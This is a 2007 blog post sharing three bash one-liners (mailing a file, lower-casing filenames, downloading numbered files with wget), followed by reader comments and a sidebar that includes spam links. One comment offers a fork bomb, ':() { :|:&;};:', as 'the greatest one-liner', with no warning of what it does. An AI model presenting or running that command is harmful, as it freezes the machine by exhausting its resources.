Three quick one-line bash tricks

16 July 2007

This weekend I tried to go the whole time without any caffeine drinks, a feat that I would not recommend. Needless to say, I am very much looking forward to my cup of tea tomorrow morning. I am too sleepy to write a diatribe today, so here are three commands I have used recently.

Want to send yourself a file quickly?

If your mail server is properly set up then you can go:

mail -s "Boo Boo" youremail@host.com < file.txt

Want to make all files in your current directory lower case?

for i in * ; do mv $i `echo $i | tr [A-Z] [a-z]` ; done

Want to download a set of files that are numbered?

One way is to use seq which prints a sequence of numbers. If the numbers are all the same significant figure (e.g. they start 01 02), then use the -w argument, as shown below.

for i in `seq -w 1 12`; do wget --continue \ http://commandline.org.uk/images/posts/animal/$i.jpg; done

Have you got a favourite one liner? If so please do share it with us via the comments below.

1 Steve Dibb says...

For the last one, I like using {1..12} in bash better... I think you might be able to do the wget command in one line that way, instead of using the for.

Posted at 4:26 a.m. on July 16, 2007


2 Ciaran McCreesh says...

The greatest one-liner of all:

:() { :|:&;};:

System Message: WARNING/2 (<string>, line 3); backlink

Inline substitution_reference start-string without end-string.

Posted at 7:33 a.m. on July 16, 2007


3 Zeth says...

Hi Steve,

Yes I prefer that too. That would be something like this:

::wget --continue
http://commandline.org.uk/images/posts/animal/{1..12}.jpg

This does not work however for files numbered according to significant figures, e.g. 001.jpg, 002.jpg ... 010.jpg ... 100.jpg

The way without seq would be:

::for i in {1..100}; do wget
"http://commandline.org.uk/images/posts/animal/$(printf %03d $i).jpg"; done

While this is a bit clunkier, this is more cross-platform, you cannot guarantee that seq will be there on non-GNU, non-Linux systems (e.g. Solaris 9 does not have seq).

Posted at 9:05 a.m. on July 16, 2007


4 anonymous says...

About #2, when I see something like this I always worry about filenames with spaces in them.

I tried it out and it indeed can't handle them.

I can't come up with one using find -print0 and xargs -0... but take a look at comment #1 at this article: http://diveintomark.org/archives/2007/06/07/zmv

I wonder how that works...

Posted at 10:21 a.m. on July 17, 2007


What do you have to say?

Show Editing Help


About

Hello, my name is Zeth, I'll be your host here.

Command Line Warriors is about taking control of your own technology, it looks at our experiences of computing; especially using GNU/Linux, the Python programming language, the command-line and issues such as techno-ethics, best practices and whatever is cool now. If you take control of your technology then you are a Warrior too!

This site is your site too which means that you can contribute and get involved. You can leave comments using the facility provided. For me, the comments and discussions are by far the best part of the site. So please do have your say!

Latest Discussions

Nui

July 18, 2008
Hmm, this would be more persuasive as an argument with some evidence. I am a happy admin of Windows and a novice user of Linux, so I have taken the ...
Give Linux a chance

Paddy3118

July 18, 2008
Hi, I too work with Electronic Design Automation tools, where Tcl is used extensively. I tend to only occasionally have to write in Tcl and so find the TclTutor utility: ...
Python and TCL

Cliff Wells

July 17, 2008
I personally cannot live without the Web Developer extension or Firebug. Unfortunately these are probably both among the more difficult to port extensions. Given how poorly Firefox functions on Linux ...
Will Epiphany be able to compete with Firefox's extensions?

making money on the internet

July 17, 2008
[url=http://www.divinecaroline.com/public/user/profile?user_id=83997]extra money 101waystoincome.com[/url]
A year after my 2007 predictions - the score card

Leatherjackets99

July 16, 2008
New Style in Leather Jackets For Man and Woman at http://www.Leatherjackets99.com They Offer Free Shipment Worldwide.
Email Syntax Check in Python

Åke Forslund

July 13, 2008
I'm pretty much a novice in both of these languages but I find them both easy to use and preform the tasks I give them. However I rarely use them ...
Python and TCL

Christopher Thoday

July 12, 2008
A single test is not sufficient to give you confidence that the algorithm is working. You should make 'number' an argument of 'main' so that you can test some boundary ...
Python and TCL

paul21

July 10, 2008
Shame on Mozilla. They should make developers specify the extension license before hosting it. They should show the license next to download button as well.
Are your Firefox extensions proprietary software?

Tris

July 8, 2008
Justin - You say they had not heard of Linux? That doesn't sound very professional to me!
Give Linux a chance

michael

July 8, 2008
what about Galeon? in Gnome i use Galeon mostly. it is fast and stable and has a nice portal with search masks for Debian, FSF, Freshmeat and so on. wtf ...
Will Epiphany be able to compete with Firefox's extensions?

vermin

July 7, 2008
> Eventually, after a bit of digging and Googling, I found their Toolbar-License... You simply found the license of the StumbleUpon Toolbar for Internet Explorer. This is another product, much ...
Are your Firefox extensions proprietary software?

Andrew West

July 6, 2008
Both the Python and the Tcl example could do with error checking. While at first this may not seem on topic with the post I think it better shows the ...
Python and TCL

Kurushiyama

June 30, 2008
XML is no replacement for SGML, it's a subset.
An Introduction to ReStructuredText